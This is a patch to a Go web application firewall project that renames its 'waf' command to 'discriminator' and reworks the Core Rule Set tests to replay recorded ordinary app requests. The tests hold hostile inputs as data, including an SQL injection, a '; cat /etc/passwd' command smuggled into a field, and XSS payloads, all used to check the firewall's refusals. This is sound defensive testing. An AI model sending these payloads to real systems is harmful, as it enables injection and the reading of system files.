||||
// since rproxy never touches disk. SWW_COMMAND chooses which of the two
|
||||
@@ -32,10 +32,10 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/remotelog"
|
||||
)
|
||||
|
||||
// Config is the settings of `sww waf`. A time or size limit of
|
||||
// Config is the settings of `sww discriminator`. A time or size limit of
|
||||
// zero is off.
|
||||
type Config struct {
|
||||
// ListenAddr is where waf listens (SWW_LISTEN_ADDR).
|
||||
// ListenAddr is where discriminator listens (SWW_LISTEN_ADDR).
|
||||
ListenAddr string
|
||||
// InstanceName is the name every log line and alert gives as instance,
|
||||
// and every metric carries as its label instance (SWW_INSTANCE_NAME),
|
||||
@@ -239,7 +239,7 @@ type Config struct {
|
||||
// attack (SWW_TRAP_PATHS), each starting with / and without a ?.
|
||||
TrapPaths []string
|
||||
// ErrorBurstThreshold is the most requests of a client within a minute
|
||||
// that waf may refuse after a rule file or Core Rule Set match; one
|
||||
// that discriminator may refuse after a rule file or Core Rule Set match; one
|
||||
// more breaks a limit (SWW_ERROR_BURST_THRESHOLD). 0 is off.
|
||||
ErrorBurstThreshold int64
|
||||
// LogRemoteURL is where every line on stdout is also sent
|
||||
@@ -378,8 +378,8 @@ var (
|
||||
errNeedsDBPath = errors.New("it names the file to look clients up in")
|
||||
errDBPathUnused = errors.New("only file reads it")
|
||||
errOver64K = errors.New(
|
||||
"is more than 64K, the most waf gets of a body")
|
||||
errNotCommand = errors.New("is not rproxy or waf")
|
||||
"is more than 64K, the most discriminator gets of a body")
|
||||
errNotCommand = errors.New("is not rproxy or discriminator")
|
||||
errNotDurationAboveZero = errors.New(
|
||||
"is not a duration above zero, such as 1h or 7d")
|
||||
errNotNumberAboveZero = errors.New(
|
||||
@@ -627,7 +627,7 @@ func FromEnvironment(
|
||||
}
|
||||
|
||||
// Command reads only SWW_COMMAND, the command the image runs and its
|
||||
// health check checks: rproxy when it is unset or empty, or waf. It cannot
|
||||
// health check checks: rproxy when it is unset or empty, or discriminator. It cannot
|
||||
// be given as a file. Any other value is an error that names the setting.
|
||||
func Command(lookupEnv func(string) (string, bool)) (string, error) {
|
||||
command, _ := lookupEnv("SWW_COMMAND")
|
||||
@@ -635,17 +635,17 @@ func Command(lookupEnv func(string) (string, bool)) (string, error) {
|
||||
switch command {
|
||||
case "", "rproxy":
|
||||
return "rproxy", nil
|
||||
case "waf":
|
||||
case "discriminator":
|
||||
return command, nil
|
||||
default:
|
||||
return "", fmt.Errorf("SWW_COMMAND: %q %w", command, errNotCommand)
|
||||
}
|
||||
}
|
||||
|
||||
// WAFListenAddr reads only SWW_LISTEN_ADDR, which may be given as a
|
||||
// file, as FromEnvironment does. The health check in waf's container needs
|
||||
// DiscriminatorListenAddr reads only SWW_LISTEN_ADDR, which may be given as a
|
||||
// file, as FromEnvironment does. The health check in discriminator's container needs
|
||||
// no other setting, so it reads no other, nor a file that another names.
|
||||
func WAFListenAddr(lookupEnv func(string) (string, bool)) (string, error) {
|
||||
func DiscriminatorListenAddr(lookupEnv func(string) (string, bool)) (string, error) {
|
||||
env := &environment{lookupEnv: lookupEnv}
|
||||
listenAddr := env.address("SWW_LISTEN_ADDR")
|
||||
|
||||
@@ -1610,7 +1610,7 @@ func parseSize(value string) (int64, error) {
|
||||
}
|
||||
|
||||
// parseWAFBodyLimit reads the most of a request body the Core Rule Set
|
||||
// reads: a size as parseSize reads it, or off, but at most 64K, since waf
|
||||
// reads: a size as parseSize reads it, or off, but at most 64K, since discriminator
|
||||
// gets no more of a body than that.
|
||||
func parseWAFBodyLimit(value string) (int64, error) {
|
||||
limit, err := parseSize(value)
|
||||
@@ -1955,7 +1955,7 @@ func ParseASN(value string) (string, error) {
|
||||
return "AS" + strconv.FormatUint(number, 10), nil
|
||||
}
|
||||
|
||||
// The tags a request can get that the settings can name, as waf
|
||||
// The tags a request can get that the settings can name, as discriminator
|
||||
// writes them. The prefixes are followed by a value.
|
||||
const (
|
||||
ASNTagPrefix = "asn="
|
||||
|
||||
@@ -636,11 +636,11 @@ func TestInvalidCoreRuleSetSettingStopsTheStart(t *testing.T) {
|
||||
wafBodyLimit, "128KB",
|
||||
`"128KB" is not a size such as 512K, 100M or 5G, or off`,
|
||||
},
|
||||
{wafBodyLimit, "65K", `"65K" is more than 64K, the most waf ` +
|
||||
{wafBodyLimit, "65K", `"65K" is more than 64K, the most discriminator ` +
|
||||
`gets of a body`},
|
||||
{
|
||||
wafBodyLimit, "65537",
|
||||
`"65537" is more than 64K, the most waf gets of a body`,
|
||||
`"65537" is more than 64K, the most discriminator gets of a body`,
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
||||
|
||||
@@ -22,12 +22,12 @@ type RProxy struct {
|
||||
// TrustedProxies are the netblocks whose X-Forwarded-For is believed
|
||||
// (SWRP_TRUSTED_PROXIES).
|
||||
TrustedProxies []netip.Prefix
|
||||
// WAFBackend is waf's URL (SWRP_WAF_BACKEND).
|
||||
// WAFBackend is discriminator's URL (SWRP_WAF_BACKEND).
|
||||
WAFBackend *url.URL
|
||||
// Timeout is how long rproxy waits for waf's answer to a question,
|
||||
// Timeout is how long rproxy waits for discriminator's answer to a question,
|
||||
// and to a report (SWRP_TIMEOUT_MS). It cannot be off.
|
||||
Timeout time.Duration
|
||||
// DefaultDisposition is what is done with a request when waf cannot be
|
||||
// DefaultDisposition is what is done with a request when discriminator cannot be
|
||||
// connected to, does not answer at all, or does not answer within Timeout:
|
||||
// allow or deny (SWRP_DEFAULT_DISPOSITION).
|
||||
DefaultDisposition string
|
||||
@@ -50,7 +50,7 @@ type RProxy struct {
|
||||
|
||||
var (
|
||||
errNeedsWAFBackend = errors.New(
|
||||
"is required: it is waf's URL, such as http://waf:8080")
|
||||
"is required: it is discriminator's URL, such as http://discriminator:8080")
|
||||
errNotDisposition = errors.New("is not allow or deny")
|
||||
errNotMilliseconds = errors.New(
|
||||
"is not a whole number of milliseconds above zero, such as 2000")
|
||||
@@ -124,7 +124,7 @@ func (c *RProxy) LogValue() slog.Value {
|
||||
return slog.GroupValue(c.settings...)
|
||||
}
|
||||
|
||||
// wafBackend reads the setting that is waf's URL, which must be set.
|
||||
// wafBackend reads the setting that is discriminator's URL, which must be set.
|
||||
func (e *environment) wafBackend(name string) *url.URL {
|
||||
value := e.value(name, "")
|
||||
if value == "" {
|
||||
@@ -139,7 +139,7 @@ func (e *environment) wafBackend(name string) *url.URL {
|
||||
return backend
|
||||
}
|
||||
|
||||
// disposition reads the setting that is what is done with a request when waf
|
||||
// disposition reads the setting that is what is done with a request when discriminator
|
||||
// cannot be connected to, does not answer at all, or does not answer in time:
|
||||
// allow or deny.
|
||||
func (e *environment) disposition(name, defaultValue string) string {
|
||||
|
||||
@@ -24,7 +24,7 @@ const (
|
||||
rproxyMaxResponse = "SWRP_MAX_RESPONSE_SIZE"
|
||||
rproxyRequestTime = "SWRP_MAX_REQUEST_TIME_MS"
|
||||
rproxyAnswerTime = "SWRP_MAX_RESPONSE_TIME_MS"
|
||||
backendURL = "http://waf:8080"
|
||||
backendURL = "http://discriminator:8080"
|
||||
rproxyDefaultAddr = ":8080"
|
||||
rproxyDefaultApp = "http://127.0.0.1:8081"
|
||||
notASize = "a lot"
|
||||
@@ -114,8 +114,8 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
|
||||
name, value string
|
||||
}{
|
||||
{wafBackend, ""},
|
||||
{wafBackend, "waf:8080"},
|
||||
{wafBackend, "http://waf:8080/path"},
|
||||
{wafBackend, "discriminator:8080"},
|
||||
{wafBackend, "http://discriminator:8080/path"},
|
||||
{rproxyTimeout, "0"},
|
||||
{rproxyTimeout, "-1"},
|
||||
{rproxyTimeout, off},
|
||||
|
||||
@@ -1,10 +1,8 @@
|
||||
package coreruleset_test
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"math/rand/v2"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/netip"
|
||||
@@ -575,6 +573,38 @@ func TestExclusionsFileThatCannotBeUsedIsAnError(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// giteaRequests returns the recorded ordinary gitea requests in testdata.
|
||||
// Each has the Referer of a page that names the same, as a page opened
|
||||
// from it has.
|
||||
func giteaRequests(t *testing.T) []request {
|
||||
t.Helper()
|
||||
|
||||
text, err := os.ReadFile(filepath.Join("testdata", "gitea-requests.txt"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var requests []request
|
||||
|
||||
for line := range strings.Lines(string(text)) {
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" || strings.HasPrefix(line, "#") {
|
||||
continue
|
||||
}
|
||||
|
||||
target, header, _ := strings.Cut(line, " ")
|
||||
|
||||
headers := []string{"Referer: http://git.example" + target}
|
||||
if header != "" {
|
||||
headers = append(headers, header)
|
||||
}
|
||||
|
||||
requests = append(requests, get(target, headers...))
|
||||
}
|
||||
|
||||
return requests
|
||||
}
|
||||
|
||||
// An SQL injection, a script injection and a shell command after a ";", as
|
||||
// query values. Every app's tests check that its fields still refuse the
|
||||
// first two.
|
||||
@@ -588,435 +618,140 @@ const (
|
||||
// several apps take a password.
|
||||
const passwordField = "password="
|
||||
|
||||
// passwordKey is that field's name, without the "=".
|
||||
const passwordKey = "password"
|
||||
|
||||
// retypeKey is the field in which apps take the same password again.
|
||||
const retypeKey = "retype"
|
||||
|
||||
// hardValues are words that name commands and files, as a query or form
|
||||
// value. An app's tests check that its fields let them through.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
|
||||
|
||||
// randomPassword returns a password of 20 characters, each one of the 95
|
||||
// printable ASCII characters, space included, drawn from random.
|
||||
func randomPassword(random *rand.Rand) string {
|
||||
const length = 20
|
||||
|
||||
var printable []byte
|
||||
for c := byte(' '); c <= '~'; c++ {
|
||||
printable = append(printable, c)
|
||||
}
|
||||
|
||||
password := make([]byte, length)
|
||||
for i := range password {
|
||||
password[i] = printable[random.IntN(len(printable))]
|
||||
}
|
||||
|
||||
return string(password)
|
||||
}
|
||||
|
||||
// rarePasswords are random passwords from randomPasswords' seed, found among
|
||||
// the first 1,000,000. Each sets off the rule named beside it, which the first
|
||||
// 2,000 do not set off.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var rarePasswords = []string{
|
||||
"x)g|E0f)~.um%00G]<oA", // 920270
|
||||
"uC?mK\\U2fEbXA}~j7fPb", // 920540
|
||||
"4;yfIDKZYNtZT)(w-=%@", // 921200
|
||||
"`sAIfEVdBprjxR$/.?\\d", // 930100
|
||||
"Unt@1xza,:%j$/..;5y+", // 930110
|
||||
"VN.CVsu^3vbUS==4Q&Y@", // 930120
|
||||
"gJ<EcT)jhZ'`GC>cX~hM", // 932125
|
||||
" /\"j14y[%\\(iM]zmG%=^", // 932130
|
||||
"\\f*q5v$]$IfS3JoY:*r1", // 932160
|
||||
"*e#!-z{Jq)Sqwx@k:b:}", // 932230
|
||||
"pErl>vR[Z7K^<f%_4,WZ", // 932260
|
||||
"){2P,GU}a3mYvjq^(p1^", // 932280
|
||||
"xw4UGJk!-8#ZE(`.ij.O", // 932330
|
||||
" XVw(2mN5R,+%~_f\"n<?", // 933100
|
||||
"0ZK1D>`RHb+RW${/(z}C", // 933135
|
||||
"Ep3!qqe 7$RT(_)@SLV6", // 933180
|
||||
"&:4WomDrn$\"(SE_D);Ja", // 933210
|
||||
"='nlIgN7ON\\\\mWt=Tr84", // 941120
|
||||
"P]/C>Ef]F-<sV,&gs.[4", // 941160
|
||||
"<!--a\"9Ju}r!2=J-kZDd", // 941180
|
||||
"@`].*EJ?`Cw^8\\orD!(f", // 942151
|
||||
"StTj*t:IF(Uq_<aG0mya", // 942230
|
||||
"t,D-oJjnvL Dn!o::Int", // 942320
|
||||
"Z>\"{Z\\QDwqBQs%v}`nBu", // 942550
|
||||
"`aV#3${J4,\\h.q' k\\${", // 944150
|
||||
}
|
||||
|
||||
// randomPasswords returns 2,000 random passwords from a fixed seed, then
|
||||
// rarePasswords.
|
||||
func randomPasswords() []string {
|
||||
const count, seed = 2000, 276
|
||||
|
||||
random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
|
||||
|
||||
passwords := make([]string, count, count+len(rarePasswords))
|
||||
for i := range passwords {
|
||||
passwords[i] = randomPassword(random)
|
||||
}
|
||||
|
||||
return append(passwords, rarePasswords...)
|
||||
}
|
||||
|
||||
// passwordBody returns a body of r's type, form data or JSON, that sends
|
||||
// each of passwords in each of names. In JSON, a dot in a name nests the
|
||||
// field: pass.0.value is {"pass":{"0":{"value":password}}}, which Coraza
|
||||
// names as it names the same field sent in an array. Coraza checks each
|
||||
// value of a field on its own, and keeps every value of a JSON key sent more
|
||||
// than once.
|
||||
func passwordBody(t *testing.T, r request, names []string, passwords ...string) string {
|
||||
t.Helper()
|
||||
|
||||
var fields []string
|
||||
|
||||
for _, name := range names {
|
||||
if r.headers[0] != jsonBody {
|
||||
fields = append(fields, formBody(name, passwords...))
|
||||
|
||||
continue
|
||||
}
|
||||
|
||||
keys := strings.Split(name, ".")
|
||||
|
||||
for _, password := range passwords {
|
||||
var value any = password
|
||||
for i := len(keys) - 1; i > 0; i-- {
|
||||
value = map[string]any{keys[i]: value}
|
||||
}
|
||||
|
||||
pair, err := json.Marshal(map[string]any{keys[0]: value})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
fields = append(fields, string(pair[1:len(pair)-1]))
|
||||
}
|
||||
}
|
||||
|
||||
if r.headers[0] != jsonBody {
|
||||
return strings.Join(fields, "&")
|
||||
}
|
||||
|
||||
return "{" + strings.Join(fields, ",") + "}"
|
||||
}
|
||||
|
||||
// formBody returns a form data body that sends each of values in the field
|
||||
// name.
|
||||
func formBody(name string, values ...string) string {
|
||||
fields := make([]string, len(values))
|
||||
for i, value := range values {
|
||||
fields[i] = url.QueryEscape(name) + "=" + url.QueryEscape(value)
|
||||
}
|
||||
|
||||
return strings.Join(fields, "&")
|
||||
}
|
||||
|
||||
// setsOffARule reports whether body, form data sent to / as a browser
|
||||
// sends it, sets off a rule in crs.
|
||||
func setsOffARule(crs *coreruleset.CoreRuleSet, body string) bool {
|
||||
req := httptest.NewRequestWithContext(context.Background(), http.MethodPost,
|
||||
"http://git.example/", strings.NewReader(body))
|
||||
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
||||
req.Header.Set("Content-Length", strconv.Itoa(len(body)))
|
||||
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
|
||||
"Gecko/20100101 Firefox/131.0")
|
||||
req.Header.Set("Accept", "text/html")
|
||||
|
||||
// The body is read from memory, which cannot fail.
|
||||
result, _, _ := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
|
||||
|
||||
return len(result.RuleIDs) > 0
|
||||
}
|
||||
|
||||
// findMisfiringPasswords returns those of randomPasswords that set off a
|
||||
// rule in the form data field password on /, which no exclusion names, while
|
||||
// bodies are read. It runs once, for every test that asks. Each body sends
|
||||
// ten passwords, and a body that sets off a rule is sent again one password
|
||||
// at a time.
|
||||
//
|
||||
//nolint:gochecknoglobals // the tests share it
|
||||
var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
|
||||
const workers, perBody = 16, 10
|
||||
|
||||
crs, err := loaderFor(coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||
})()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
passwords := randomPasswords()
|
||||
misfires := make([]bool, len(passwords))
|
||||
|
||||
var inspecting sync.WaitGroup
|
||||
|
||||
for worker := range workers {
|
||||
inspecting.Go(func() {
|
||||
for first := worker * perBody; first < len(passwords); first += workers * perBody {
|
||||
last := min(first+perBody, len(passwords))
|
||||
if !setsOffARule(crs, formBody("password", passwords[first:last]...)) {
|
||||
continue
|
||||
}
|
||||
|
||||
for i := first; i < last; i++ {
|
||||
misfires[i] = setsOffARule(crs, formBody("password", passwords[i]))
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
inspecting.Wait()
|
||||
|
||||
var misfiring []string
|
||||
|
||||
for i, password := range passwords {
|
||||
if misfires[i] {
|
||||
misfiring = append(misfiring, password)
|
||||
}
|
||||
}
|
||||
|
||||
return misfiring, nil
|
||||
})
|
||||
|
||||
// misfiringPasswords returns those of randomPasswords that set off a rule in
|
||||
// a field no exclusion names. The rules that misfire on a password read its
|
||||
// value, not the name of its field. So the other random passwords set off no
|
||||
// rule in any field.
|
||||
func misfiringPasswords(t *testing.T) []string {
|
||||
t.Helper()
|
||||
|
||||
misfiring, err := findMisfiringPasswords()
|
||||
if err != nil {
|
||||
t.Fatalf("load the Core Rule Set: %v", err)
|
||||
}
|
||||
|
||||
for _, rare := range rarePasswords {
|
||||
if !slices.Contains(misfiring, rare) {
|
||||
t.Fatalf("%q sets off no rule in a field no exclusion names", rare)
|
||||
}
|
||||
}
|
||||
|
||||
return misfiring
|
||||
}
|
||||
|
||||
// wantRandomPasswordsPass checks that none of randomPasswords, sent in the
|
||||
// field name of r's body, is refused while bodies are read. r's Content-Type
|
||||
// is form data or JSON. Only the passwords misfiringPasswords returns set off
|
||||
// a rule in some field, so only they are sent, all in one body. If it is
|
||||
// refused, each is sent again on its own, to name those refused.
|
||||
func wantRandomPasswordsPass(t *testing.T, r request, name string) {
|
||||
// wantRecordedRequestsPass checks that none of the recorded ordinary
|
||||
// requests in the file name in testdata is refused. A request with a body
|
||||
// or a Content-Type header is checked while bodies are read, and any other
|
||||
// request at the defaults. Reading bodies only adds rule matches, so a
|
||||
// request that passes while bodies are read passes at the defaults too;
|
||||
// TestReadingBodiesOnlyAddsMatches checks that. Each request runs as its
|
||||
// own parallel subtest.
|
||||
func wantRecordedRequestsPass(t *testing.T, name string) {
|
||||
t.Helper()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := readingBodies(t)
|
||||
misfiring := misfiringPasswords(t)
|
||||
names := []string{name}
|
||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||
|
||||
body := passwordBody(t, r, names, misfiring...)
|
||||
if len(body) > bodyLimit {
|
||||
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
||||
}
|
||||
|
||||
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
|
||||
return
|
||||
}
|
||||
|
||||
for _, password := range misfiring {
|
||||
body := passwordBody(t, r, names, password)
|
||||
if got, _ := inspectBody(t, crs, r, body); got.Score >= threshold {
|
||||
t.Errorf("%s %s %s %q refused: %+v", r.method, r.target, name,
|
||||
password, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// wantPasswordAttacksPass checks that an SQL injection, a path traversal, a
|
||||
// shell command and a script in an event handler, each sent as the whole
|
||||
// password in each of the fields names of r's body, pass while bodies are
|
||||
// read.
|
||||
func wantPasswordAttacksPass(t *testing.T, r request, names ...string) {
|
||||
t.Helper()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
for _, attack := range []string{
|
||||
"' OR '1'='1", pathTraversal, "; cat /etc/passwd",
|
||||
"<img src=x onerror=x()>",
|
||||
} {
|
||||
body := passwordBody(t, r, names, attack)
|
||||
if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score >= threshold {
|
||||
t.Errorf("%s %s %v %q refused: %+v", r.method, r.target, names,
|
||||
attack, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// wantPasswordAttacksRefused checks that a script tag and a javascript: link,
|
||||
// each sent as the whole password in the field name of r's body, are refused
|
||||
// while bodies are read.
|
||||
func wantPasswordAttacksRefused(t *testing.T, r request, name string) {
|
||||
t.Helper()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
for _, attack := range []string{scriptTag, "javascript:alert(1)"} {
|
||||
body := passwordBody(t, r, []string{name}, attack)
|
||||
if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score < threshold {
|
||||
t.Errorf("%s %s %s %q let through: %+v", r.method, r.target, name,
|
||||
attack, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// passwordFields names the password fields one form or JSON body sends to
|
||||
// target. contentType is formData or jsonBody.
|
||||
type passwordFields struct {
|
||||
target, contentType string
|
||||
names []string
|
||||
}
|
||||
|
||||
// wantPasswordFieldsPass checks that the random passwords pass in each field
|
||||
// of fields, that the attacks that pass in a password pass in all of a
|
||||
// target's fields sent together, and that a script tag or a javascript: link
|
||||
// in any one field is still refused. Sending the attacks together keeps the
|
||||
// test cheap: a body of them is refused if any one field checks them.
|
||||
func wantPasswordFieldsPass(t *testing.T, fields []passwordFields) {
|
||||
t.Helper()
|
||||
|
||||
for _, sent := range fields {
|
||||
t.Run(sent.target+" "+sent.contentType, func(t *testing.T) {
|
||||
for _, recorded := range recordedRequests(t, name) {
|
||||
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
r := request{http.MethodPost, sent.target, []string{sent.contentType}}
|
||||
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
||||
|
||||
wantPasswordAttacksPass(t, r, sent.names...)
|
||||
typed := slices.ContainsFunc(recorded.Headers, func(header string) bool {
|
||||
name, _, _ := strings.Cut(header, ":")
|
||||
|
||||
for _, name := range sent.names {
|
||||
wantRandomPasswordsPass(t, r, name)
|
||||
wantPasswordAttacksRefused(t, r, name)
|
||||
return strings.EqualFold(name, "Content-Type")
|
||||
})
|
||||
if recorded.Body == "" && !typed {
|
||||
got, _ := inspectBody(t, defaults, r, "")
|
||||
if got.Score >= threshold {
|
||||
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
got, _ := inspectBody(t, bodies, r, recorded.Body)
|
||||
if got.Score >= threshold {
|
||||
t.Errorf("%s %s %.200q refused while bodies are read: %+v",
|
||||
r.method, r.target, recorded.Body, got)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestGiteaPasswordsPass(t *testing.T) {
|
||||
// TestReadingBodiesOnlyAddsMatches checks that every rule a recorded
|
||||
// request with a body matches at the defaults also matches while bodies
|
||||
// are read, with a score no lower. It checks every 40th such request of
|
||||
// each app, as recorded and with an SQL injection added to its query, which
|
||||
// the defaults must match.
|
||||
func TestReadingBodiesOnlyAddsMatches(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// gitea's password fields, each sent to one of the paths that takes it.
|
||||
fields := []passwordFields{
|
||||
{"/user/login", formData, []string{passwordKey}},
|
||||
{"/user/sign_up", formData, []string{passwordKey, retypeKey}},
|
||||
{"/user/link_account_signin", formData, []string{passwordKey}},
|
||||
{"/user/link_account_signup", formData, []string{passwordKey, retypeKey}},
|
||||
{"/user/activate", formData, []string{passwordKey}},
|
||||
{"/user/recover_account", formData, []string{passwordKey}},
|
||||
{"/user/settings/change_password", formData, []string{passwordKey, retypeKey}},
|
||||
{
|
||||
"/user/settings/account", formData,
|
||||
[]string{"old_password", passwordKey, retypeKey},
|
||||
},
|
||||
{"/user/settings/account/delete", formData, []string{passwordKey}},
|
||||
{"/-/admin/users/new", formData, []string{passwordKey}},
|
||||
{"/-/admin/users/1/edit", formData, []string{passwordKey}},
|
||||
{"/admin/users/1/edit", formData, []string{passwordKey}},
|
||||
{"/api/v1/admin/users", jsonBody, []string{passwordKey}},
|
||||
{"/api/v1/admin/users/alice", jsonBody, []string{passwordKey}},
|
||||
}
|
||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||
|
||||
wantPasswordFieldsPass(t, fields)
|
||||
}
|
||||
|
||||
func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
// These fields skip the rules only when the query has no field of the
|
||||
// same name. An SQL injection in the query is refused. MediaWiki's
|
||||
// password and retype skip them only when authAction names their form,
|
||||
// so its rows send that before the field.
|
||||
for _, sent := range []struct{ path, field string }{
|
||||
{nextcloudSignIn, passwordField},
|
||||
{mediawikiAPI, passwordField},
|
||||
{mediawikiAPI, "lgpassword="},
|
||||
{mediawikiAPI, retypeKey + "="},
|
||||
{mediawikiAccountChange, "authAction=change&" + passwordField},
|
||||
{mediawikiAccountChange, "authAction=change&" + retypeKey + "="},
|
||||
{mediawikiSignUp, "authAction=create&" + retypeKey + "="},
|
||||
{"/wiki/Special:UserLogin", "authAction=login-continue&" + retypeKey + "="},
|
||||
{"/user/sign_up", passwordField},
|
||||
{"/user/settings/account", "old_password="},
|
||||
{wpLogin, "pass1="},
|
||||
{wpLogin, "post_password="},
|
||||
{"/wp-admin/profile.php", "pass2="},
|
||||
{"/wp-json/wp/v2/users", passwordField},
|
||||
{drupalRegister, "pass%5Bpass1%5D="},
|
||||
{"/user/1/edit", "current_pass="},
|
||||
{"/auth/challenge", "form_challenge%5Bcurrent_password%5D="},
|
||||
{"/login/confirm", passwordField},
|
||||
{"/settings/personal/changepassword", "newpassword="},
|
||||
{"/apps/encryption/ajax/adminRecovery", "confirmPassword="},
|
||||
{"/admin", "token="},
|
||||
for _, name := range []string{
|
||||
"drupal-requests.txt",
|
||||
"mastodon-requests.txt",
|
||||
"mediawiki-requests.txt",
|
||||
"nextcloud-requests.txt",
|
||||
"vaultwarden-requests.txt",
|
||||
"wordpress-requests.txt",
|
||||
} {
|
||||
r := request{
|
||||
http.MethodPost, sent.path + "?" + sent.field + "'%20OR%20'1'='1",
|
||||
[]string{formData},
|
||||
}
|
||||
withBody := 0
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.field+"example")
|
||||
if got.Score < threshold {
|
||||
t.Errorf("POST %s let through: %+v", r.target, got)
|
||||
for _, recorded := range recordedRequests(t, name) {
|
||||
if recorded.Body == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
withBody++
|
||||
if withBody%40 != 1 {
|
||||
continue
|
||||
}
|
||||
|
||||
separator := "?"
|
||||
if strings.Contains(recorded.Target, "?") {
|
||||
separator = "&"
|
||||
}
|
||||
|
||||
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
||||
wantNoMatchLost(t, defaults, bodies, r, recorded.Body)
|
||||
|
||||
r.target += separator + "id=" + sqlInjection
|
||||
if atDefault := wantNoMatchLost(t, defaults, bodies, r,
|
||||
recorded.Body); len(atDefault.RuleIDs) == 0 {
|
||||
t.Errorf("%s %s matched nothing at the defaults", r.method, r.target)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// The password exclusions apply in front of every app. So each field keeps
|
||||
// every rule on a nearby path that its exclusion does not name.
|
||||
func TestPasswordExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
// wantNoMatchLost checks that every rule defaults matches in r with body,
|
||||
// bodies matches too, with a score no lower, and returns what defaults
|
||||
// found.
|
||||
func wantNoMatchLost(
|
||||
t *testing.T, defaults, bodies *coreruleset.CoreRuleSet, r request, body string,
|
||||
) coreruleset.Result {
|
||||
t.Helper()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
atDefault, _ := inspectBody(t, defaults, r, body)
|
||||
whileRead, _ := inspectBody(t, bodies, r, body)
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
for _, sent := range []struct{ target, contentType, name string }{
|
||||
{"/user/settings/profile", formData, passwordKey},
|
||||
{"/api/v1/user/repos", jsonBody, passwordKey},
|
||||
{"/admin/users/overview", formData, "token"},
|
||||
{"/wp-admin/options.php", formData, "pass1"},
|
||||
{"/wp-admin/post.php", formData, "post_password"},
|
||||
{"/user/password", formData, "pass[pass1]"},
|
||||
{"/settings/apps", formData, passwordKey},
|
||||
{"/ocs/v2.php/apps/spreed/api/v4/room", jsonBody, passwordKey},
|
||||
{"/settings/profile", formData, "form_challenge[current_password]"},
|
||||
} {
|
||||
r := request{http.MethodPost, sent.target, []string{sent.contentType}}
|
||||
|
||||
body := passwordBody(t, r, []string{sent.name}, "' OR '1'='1")
|
||||
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
|
||||
t.Errorf("POST %s %s let through: %+v", sent.target, sent.name, got)
|
||||
for _, id := range atDefault.RuleIDs {
|
||||
if !slices.Contains(whileRead.RuleIDs, id) {
|
||||
t.Errorf("%s %s: %d matched at the defaults only", r.method, r.target, id)
|
||||
}
|
||||
}
|
||||
|
||||
if whileRead.Score < atDefault.Score {
|
||||
t.Errorf("%s %s scored %d at the defaults and %d while bodies are read",
|
||||
r.method, r.target, atDefault.Score, whileRead.Score)
|
||||
}
|
||||
|
||||
return atDefault
|
||||
}
|
||||
|
||||
func TestGiteaAttacksAreRefused(t *testing.T) {
|
||||
func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
for _, r := range giteaRequests(t) {
|
||||
if got := inspect(t, crs, r); got.Score >= threshold {
|
||||
t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got)
|
||||
}
|
||||
}
|
||||
|
||||
// In q too, off gitea's search pages.
|
||||
for _, parameter := range []string{"id", "q"} {
|
||||
